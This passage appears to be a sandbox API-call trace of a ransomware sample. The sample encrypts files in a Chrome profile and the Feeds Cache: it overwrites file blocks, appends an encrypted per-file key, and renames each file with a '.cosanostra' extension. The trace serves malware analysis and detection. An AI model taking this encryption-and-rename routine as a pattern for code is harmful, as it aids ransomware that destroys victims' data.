[0087.546] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.547] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log") returned 148 [0087.547] StrStrW (lpFirst="000003.log", lpSrch=".txt") returned 0x0 [0087.547] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.547] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x28df86c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df86c*=0x0, lpOverlapped=0x0) returned 1 [0087.547] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.547] WriteFile (in: hFile=0x190, lpBuffer=0x28df8ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df86c, lpOverlapped=0x0 | out: lpBuffer=0x28df8ac*, lpNumberOfBytesWritten=0x28df86c*=0x4, lpOverlapped=0x0) returned 1 [0087.548] WriteFile (in: hFile=0x190, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df86c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df86c*=0x30, lpOverlapped=0x0) returned 1 [0087.548] CloseHandle (hObject=0x190) returned 1 [0087.548] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log.cosanostra")) returned 1 [0087.549] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df8a8 | out: pbBuffer=0x28df8a8) returned 1 [0087.549] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df8a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df8a0*=0x30) returned 1 [0087.549] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.549] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico") returned 98 [0087.549] StrStrW (lpFirst="Google Profile.ico", lpSrch=".txt") returned 0x0 [0087.609] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.609] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df864, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28df864*=0x2800, lpOverlapped=0x0) returned 1 [0087.609] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.609] WriteFile (in: hFile=0x190, lpBuffer=0x28df8a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df864, lpOverlapped=0x0 | out: lpBuffer=0x28df8a4*, lpNumberOfBytesWritten=0x28df864*=0x4, lpOverlapped=0x0) returned 1 [0087.610] WriteFile (in: hFile=0x190, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df864, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df864*=0x30, lpOverlapped=0x0) returned 1 [0087.610] CloseHandle (hObject=0x190) returned 1 [0087.611] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico.cosanostra")) returned 1 [0087.611] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df8a8 | out: pbBuffer=0x28df8a8) returned 1 [0087.611] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df8a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df8a0*=0x30) returned 1 [0087.611] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.636] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json") returned 171 [0087.636] StrStrW (lpFirst="verified_contents.json", lpSrch=".txt") returned 0x0 [0087.638] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.638] WriteFile (in: hFile=0x190, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df864, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28df864*=0x2800, lpOverlapped=0x0) returned 1 [0087.638] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.638] WriteFile (in: hFile=0x190, lpBuffer=0x28df8a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df864, lpOverlapped=0x0 | out: lpBuffer=0x28df8a4*, lpNumberOfBytesWritten=0x28df864*=0x4, lpOverlapped=0x0) returned 1 [0087.638] WriteFile (in: hFile=0x190, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df864, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df864*=0x30, lpOverlapped=0x0) returned 1 [0087.638] CloseHandle (hObject=0x190) returned 1 [0087.639] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json.cosanostra")) returned 1 [0087.640] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df8a0 | out: pbBuffer=0x28df8a0) returned 1 [0087.640] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df898*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df898*=0x30) returned 1 [0087.640] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0087.659] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager") returned 92 [0087.659] StrStrW (lpFirst="QuotaManager", lpSrch=".txt") returned 0x0 [0087.771] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.772] WriteFile (in: hFile=0x188, lpBuffer=0x3023418*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df85c, lpOverlapped=0x0 | out: lpBuffer=0x3023418*, lpNumberOfBytesWritten=0x28df85c*=0x2800, lpOverlapped=0x0) returned 1 [0087.772] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.772] WriteFile (in: hFile=0x188, lpBuffer=0x28df89c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df85c, lpOverlapped=0x0 | out: lpBuffer=0x28df89c*, lpNumberOfBytesWritten=0x28df85c*=0x4, lpOverlapped=0x0) returned 1 [0087.812] WriteFile (in: hFile=0x188, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df85c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df85c*=0x30, lpOverlapped=0x0) returned 1 [0087.812] CloseHandle (hObject=0x188) returned 1 [0087.812] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager.cosanostra")) returned 1 [0087.813] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df8a0 | out: pbBuffer=0x28df8a0) returned 1 [0087.813] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df898*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df898*=0x30) returned 1 [0087.813] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\first run"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0087.813] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned 81 [0087.813] StrStrW (lpFirst="First Run", lpSrch=".txt") returned 0x0 [0087.813] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.814] WriteFile (in: hFile=0x188, lpBuffer=0x2d2e10*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x28df85c, lpOverlapped=0x0 | out: lpBuffer=0x2d2e10*, lpNumberOfBytesWritten=0x28df85c*=0x0, lpOverlapped=0x0) returned 1 [0087.814] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.814] WriteFile (in: hFile=0x188, lpBuffer=0x28df89c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df85c, lpOverlapped=0x0 | out: lpBuffer=0x28df89c*, lpNumberOfBytesWritten=0x28df85c*=0x4, lpOverlapped=0x0) returned 1 [0087.815] WriteFile (in: hFile=0x188, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df85c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df85c*=0x30, lpOverlapped=0x0) returned 1 [0087.815] CloseHandle (hObject=0x188) returned 1 [0087.815] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\first run"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\first run.cosanostra")) returned 1 [0087.821] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df898 | out: pbBuffer=0x28df898) returned 1 [0087.821] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df890*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df890*=0x30) returned 1 [0087.821] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.md5"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0087.822] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5") returned 154 [0087.822] StrStrW (lpFirst="Google Docs.ico.md5", lpSrch=".txt") returned 0x0 [0087.823] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffff0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.823] WriteFile (in: hFile=0x188, lpBuffer=0x2d2e10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x28df854, lpOverlapped=0x0 | out: lpBuffer=0x2d2e10*, lpNumberOfBytesWritten=0x28df854*=0x10, lpOverlapped=0x0) returned 1 [0087.824] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.824] WriteFile (in: hFile=0x188, lpBuffer=0x28df894*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df854, lpOverlapped=0x0 | out: lpBuffer=0x28df894*, lpNumberOfBytesWritten=0x28df854*=0x4, lpOverlapped=0x0) returned 1 [0087.824] WriteFile (in: hFile=0x188, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df854, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df854*=0x30, lpOverlapped=0x0) returned 1 [0087.824] CloseHandle (hObject=0x188) returned 1 [0087.824] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.md5"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.md5.cosanostra")) returned 1 [0087.825] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df890 | out: pbBuffer=0x28df890) returned 1 [0087.825] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df888*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df888*=0x30) returned 1 [0087.825] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0087.826] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico") returned 150 [0087.826] StrStrW (lpFirst="Google Docs.ico", lpSrch=".txt") returned 0x0 [0087.837] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.837] WriteFile (in: hFile=0x188, lpBuffer=0x2d2e10*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df84c, lpOverlapped=0x0 | out: lpBuffer=0x2d2e10*, lpNumberOfBytesWritten=0x28df84c*=0x2800, lpOverlapped=0x0) returned 1 [0087.837] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.837] WriteFile (in: hFile=0x188, lpBuffer=0x28df88c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df84c, lpOverlapped=0x0 | out: lpBuffer=0x28df88c*, lpNumberOfBytesWritten=0x28df84c*=0x4, lpOverlapped=0x0) returned 1 [0087.856] WriteFile (in: hFile=0x188, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df84c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df84c*=0x30, lpOverlapped=0x0) returned 1 [0087.856] CloseHandle (hObject=0x188) returned 1 [0087.881] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.cosanostra")) returned 1 [0087.882] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df890 | out: pbBuffer=0x28df890) returned 1 [0087.882] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df888*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df888*=0x30) returned 1 [0087.882] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.883] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df888 | out: pbBuffer=0x28df888) returned 1 [0087.883] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df880*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df880*=0x30) returned 1 [0087.883] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.883] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df888 | out: pbBuffer=0x28df888) returned 1 [0087.883] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df880*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df880*=0x30) returned 1 [0087.883] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0087.884] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat") returned 79 [0087.884] StrStrW (lpFirst="index.dat", lpSrch=".txt") returned 0x0 [0087.886] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.886] WriteFile (in: hFile=0x188, lpBuffer=0x2e2e58*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df844, lpOverlapped=0x0 | out: lpBuffer=0x2e2e58*, lpNumberOfBytesWritten=0x28df844*=0x2800, lpOverlapped=0x0) returned 1 [0087.886] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.887] WriteFile (in: hFile=0x188, lpBuffer=0x28df884*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df844, lpOverlapped=0x0 | out: lpBuffer=0x28df884*, lpNumberOfBytesWritten=0x28df844*=0x4, lpOverlapped=0x0) returned 1 [0087.887] WriteFile (in: hFile=0x188, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df844, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df844*=0x30, lpOverlapped=0x0) returned 1 [0087.887] CloseHandle (hObject=0x188) returned 1 [0087.887] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\index.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\index.dat.cosanostra")) returned 1 [0087.888] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df880 | out: pbBuffer=0x28df880) returned 1 [0087.888] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df878*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df878*=0x30) returned 1 [0087.888] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0087.889] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini") returned 81 [0087.889] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0087.890] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffffbd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.890] WriteFile (in: hFile=0x188, lpBuffer=0x2e2e58*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x28df83c, lpOverlapped=0x0 | out: lpBuffer=0x2e2e58*, lpNumberOfBytesWritten=0x28df83c*=0x43, lpOverlapped=0x0) returned 1 [0087.890] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, 